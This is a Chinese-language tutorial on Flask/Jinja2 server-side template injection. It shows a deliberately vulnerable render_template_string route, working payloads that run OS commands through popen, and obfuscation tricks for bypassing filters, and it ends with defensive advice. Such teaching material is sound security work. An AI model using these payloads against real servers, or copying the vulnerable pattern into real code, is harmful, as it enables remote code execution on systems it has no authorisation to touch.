flask之ssti模版注入从零到入门
字数 1265 2025-08-27 12:33:48
Flask SSTI模板注入从入门到精通
一、SSTI漏洞概述
1.1 漏洞定义
SSTI(Server-Side Template Injection)服务端模板注入,主要发生在使用模板引擎渲染用户输入时,由于代码不规范或未对用户输入进行过滤,导致攻击者能够注入恶意模板代码并在服务器端执行。
1.2 常见受影响框架
- Python框架:Jinja2、Mako、Tornado、Django
- PHP框架:Smarty、Twig
- Java框架:Jade、Velocity
1.3 漏洞成因
模板渲染本身没有漏洞,问题在于程序员代码不规范,将用户可控数据直接传入模板渲染函数,导致模板内容可控。
二、模板引擎基础
2.1 模板引擎作用
- 实现界面与数据分离
- 业务代码与逻辑代码分离
- 提高开发效率和代码重用性
2.2 模板示例
<html><div>{$what}</div></html>
当what变量被渲染为"张三"时,输出:
<html><div>张三</div></html>
2.3 渲染方式对比
- 后端渲染:服务器完成模板解析,返回最终HTML
- 前端渲染:浏览器从服务器获取数据,客户端完成渲染
三、Flask环境搭建
3.1 基础环境
- Python 3.6+
- Flask模块
- PyCharm(推荐)
3.2 最小Flask应用
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello World'
if __name__ == '__main__':
app.run(debug=True)
3.3 路由装饰器
@app.route('/test')
def test():
return '123'
访问/test返回"123"
3.4 动态路由
@app.route("/hello/<username>")
def hello_user(username):
return "user:%s"%username
四、模板渲染机制
4.1 安全渲染示例
@app.route('/')
@app.route('/index')
def index():
user = {'name': '小猪佩奇'}
return render_template("index.html", title='Home', user=user)
4.2 漏洞代码示例
@app.route('/test', methods=['GET', 'POST'])
def test():
template = '''
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
''' % (request.url)
return render_template_string(template)
五、SSTI利用原理
5.1 Python对象模型
object类是Python中所有类的基类- 通过
__class__、__bases__等属性可以遍历对象继承链
5.2 基本利用链
- 获取字符串的类:
''.__class__ - 获取基类:
''.__class__.__bases__[0] - 获取所有子类:
''.__class__.__bases__[0].__subclasses__()
5.3 查找可利用类
在子类列表中查找可利用的类,如os._wrap_close(通常在第118或119个位置)
5.4 执行系统命令
{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('dir').read()}}
六、绕过技巧
6.1 过滤中括号[]
使用__getitem__绕过:
{{"".__class__.__bases__.__getitem__(0)}}
6.2 过滤subclasses
使用字符串拼接:
{{"".__class__.__bases__[0]['subcla'+'sses']()}}
6.3 过滤class
使用session或request对象:
{{session['cla'+'ss'].__bases__[0].__bases__[0]}}
或
{{request['__cl'+'ass__'].__mro__[12]}}
6.4 timeit方法
import timeit
timeit.timeit("__import__('os').system('dir')", number=1)
七、实战利用POC
7.1 基本POC
{{"".__class__.__bases__[0].__subclasses__()[118].__init__.__globals__['popen']('whoami').read()}}
7.2 复杂POC
{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__'].__globals__['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ls").re'+'ad()')}}
八、漏洞挖掘技巧
- 识别网站使用的Web框架和模板引擎
- 测试所有用户输入点,特别是URL参数
- 尝试注入
{{7*7}}等简单测试payload - 观察返回内容是否执行了模板语法
九、防御措施
- 避免直接将用户输入传入模板渲染函数
- 使用安全的模板渲染方式,如
render_template - 对用户输入进行严格的过滤和转义
- 使用沙箱环境运行模板引擎
- 限制模板引擎的功能,禁用危险函数
十、总结
SSTI漏洞危害严重,可导致远程代码执行。理解其原理和利用方式对于Web安全至关重要。开发时应遵循安全编码规范,避免将用户可控数据直接传入模板渲染函数。